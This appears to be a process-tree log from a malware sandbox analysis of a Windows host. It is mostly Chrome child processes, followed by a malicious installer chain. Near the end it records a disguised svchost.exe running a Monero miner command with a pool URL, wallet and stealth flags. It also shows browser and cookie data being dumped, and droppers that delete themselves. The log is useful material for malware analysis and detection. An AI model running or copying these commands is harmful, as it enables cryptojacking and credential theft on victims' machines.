C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ff8173c6e00,0x7ff8173c6e10,0x7ff8173c6e2012⤵PID:4348
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1652 /prefetch:812⤵PID:3736
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1596 /prefetch:212⤵PID:5516
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2688 /prefetch:112⤵PID:6444
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2680 /prefetch:112⤵PID:6436
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3472 /prefetch:112⤵PID:6528
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3656 /prefetch:112⤵PID:6552
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3796 /prefetch:112⤵PID:6600
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3308 /prefetch:112⤵PID:6520
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4200 /prefetch:812⤵PID:6916
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4328 /prefetch:812⤵PID:6932
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4796 /prefetch:812⤵PID:7044
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4676 /prefetch:812⤵PID:6300
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4176 /prefetch:812⤵PID:6452
-
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings12⤵PID:6316
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff7bc827740,0x7ff7bc827750,0x7ff7bc82776013⤵PID:5624
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4904 /prefetch:812⤵PID:4724
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3664 /prefetch:812⤵PID:5948
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4912 /prefetch:812⤵PID:4236
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4728 /prefetch:812⤵PID:4692
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4956 /prefetch:812⤵PID:6972
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5212 /prefetch:812⤵PID:5068
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4400 /prefetch:812⤵PID:5244
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5216 /prefetch:812⤵PID:4244
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4844 /prefetch:812⤵PID:5264
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3948 /prefetch:812⤵PID:5288
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5024 /prefetch:812⤵PID:5576
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1920 /prefetch:812⤵PID:4844
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3764 /prefetch:812⤵PID:5920
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4116 /prefetch:812⤵PID:4676
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3700 /prefetch:812⤵PID:6792
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5136 /prefetch:812⤵PID:4720
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5232 /prefetch:812⤵PID:5368
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5316 /prefetch:812⤵PID:4660
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5312 /prefetch:812⤵PID:5540
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5576 /prefetch:812⤵PID:5672
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5564 /prefetch:812⤵PID:5624
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5924 /prefetch:812⤵PID:6764
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4284 /prefetch:112⤵PID:6612
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3352 /prefetch:812⤵PID:6528
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6188 /prefetch:812⤵PID:6840
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5848 /prefetch:812⤵PID:4508
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3300 /prefetch:812⤵PID:4668
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6256 /prefetch:812⤵PID:2932
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6284 /prefetch:812⤵PID:2720
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6388 /prefetch:812⤵PID:1420
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5552 /prefetch:812⤵PID:4500
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=46 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6700 /prefetch:112⤵PID:6776
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6848 /prefetch:812⤵PID:5252
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6844 /prefetch:812⤵PID:5008
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=172 /prefetch:812⤵PID:4452
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7120 /prefetch:812⤵PID:6000
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4224 /prefetch:812⤵PID:7036
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3832 /prefetch:112⤵PID:3512
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7320 /prefetch:812⤵PID:4488
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7340 /prefetch:812⤵PID:4308
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7584 /prefetch:812⤵PID:5576
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6132 /prefetch:812⤵PID:6268
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1584,1834296063099065100,6282912707193964558,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=MAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAIAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=4212 /prefetch:212⤵PID:2504
-
-
-
-
-
-
C:\Windows\regedit.exeregedit /s chrome-set.reg8⤵
- Runs .reg file with regedit
PID:556
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\parse.exeparse.exe -f json -b firefox8⤵PID:7152
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\parse.exeparse.exe -f json -b chrome8⤵PID:6248
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\parse.exeparse.exe -f json -b edge8⤵PID:6316
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-U9SJ2.tmp\DataFinder.exe"C:\Users\Admin\AppData\Local\Temp\is-U9SJ2.tmp\DataFinder.exe" /Verysilent4⤵PID:5336
-
C:\Users\Admin\Services.exe"C:\Users\Admin\Services.exe"5⤵PID:4800
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -B --coin=monero --asm=auto --cpu-memory-pool=-1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-us-east1.nanopool.org:14433 --user=42Lm2CeGer8hubckgimBBXhKWRnZqtLx74Ye2HcyMyikARReDxWRn15Bia1k8qgnboPNxEZJHN5HgX8eNa1EP7xeA3X8Z7s --pass= --cpu-max-threads-hint=50 --donate-level=5 --unam-idle-wait=5 --unam-idle-cpu=0 --nicehash --tls --unam-stealth6⤵PID:6816
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-U9SJ2.tmp\Delta.exe"C:\Users\Admin\AppData\Local\Temp\is-U9SJ2.tmp\Delta.exe" /Verysilent4⤵PID:5720
-
C:\Users\Admin\AppData\Local\Temp\is-UGQKA.tmp\Delta.tmp"C:\Users\Admin\AppData\Local\Temp\is-UGQKA.tmp\Delta.tmp" /SL5="$603F6,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-U9SJ2.tmp\Delta.exe" /Verysilent5⤵PID:5712
-
C:\Users\Admin\AppData\Local\Temp\is-PI334.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-PI334.tmp\Setup.exe" /VERYSILENT6⤵PID:5036
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Setup.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\is-PI334.tmp\Setup.exe" & del C:\ProgramData\*.dll & exit7⤵PID:744
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Setup.exe /f8⤵
- Kills process with taskkill
PID:5672
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
PID:2468
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-U9SJ2.tmp\zznote.exe"C:\Users\Admin\AppData\Local\Temp\is-U9SJ2.tmp\zznote.exe" /Verysilent4⤵PID:4924
-
C:\Users\Admin\AppData\Local\Temp\is-BLIR5.tmp\zznote.tmp"C:\Users\Admin\AppData\Local\Temp\is-BLIR5.tmp\zznote.tmp" /SL5="$503E4,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-U9SJ2.tmp\zznote.exe" /Verysilent5⤵PID:4304
-
C:\Users\Admin\AppData\Local\Temp\is-LAS5R.tmp\jg4_4jaa.exe"C:\Users\Admin\AppData\Local\Temp\is-LAS5R.tmp\jg4_4jaa.exe" /silent6⤵PID:4420
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-U9SJ2.tmp\hjjgaa.exe"C:\Users\Admin\AppData\Local\Temp\is-U9SJ2.tmp\hjjgaa.exe" /Verysilent4⤵PID:6788
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:4660
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:6612
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-U4HQ7.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-U4HQ7.tmp\vict.tmp" /SL5="$10256,870426,780800,C:\Users\Admin\AppData\Local\Temp\zk4yenaeljp\vict.exe" /VERYSILENT /id=5351⤵PID:4484
-
C:\Users\Admin\AppData\Local\Temp\is-6DF78.tmp\wimapi.exe"C:\Users\Admin\AppData\Local\Temp\is-6DF78.tmp\wimapi.exe" 5352⤵PID:5436
-
C:\Users\Admin\AppData\Local\Temp\4rBXZyHmY.exe"C:\Users\Admin\AppData\Local\Temp\4rBXZyHmY.exe"3⤵PID:1720
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 4rBXZyHmY.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\4rBXZyHmY.exe" & del C:\ProgramData\*.dll & exit4⤵PID:5704
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 4rBXZyHmY.exe /f5⤵
- Kills process with taskkill
PID:5376
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-P4DVF.tmp\wrucedjazmc.tmp"C:\Users\Admin\AppData\Local\Temp\is-P4DVF.tmp\wrucedjazmc.tmp" /SL5="$10254,870426,780800,C:\Users\Admin\AppData\Local\Temp\1oaqqnkhohv\wrucedjazmc.exe" /VERYSILENT1⤵PID:4476
-
C:\Users\Admin\AppData\Local\Temp\is-V89PL.tmp\winlthst.exe"C:\Users\Admin\AppData\Local\Temp\is-V89PL.tmp\winlthst.exe" test1 test12⤵PID:5412
-
C:\Users\Admin\AppData\Local\Temp\JhBY7Pd61.exe"C:\Users\Admin\AppData\Local\Temp\JhBY7Pd61.exe"3⤵PID:5372
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im JhBY7Pd61.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\JhBY7Pd61.exe" & del C:\ProgramData\*.dll & exit4⤵PID:636
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im JhBY7Pd61.exe /f5⤵
- Kills process with taskkill
PID:3876
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 65⤵
- Delays execution with timeout.exe
PID:6708
-
-
-
-
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵PID:5472
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:4956
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:4580
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:2112
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵PID:4556
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:3980
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:2512
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall1⤵PID:4156
-
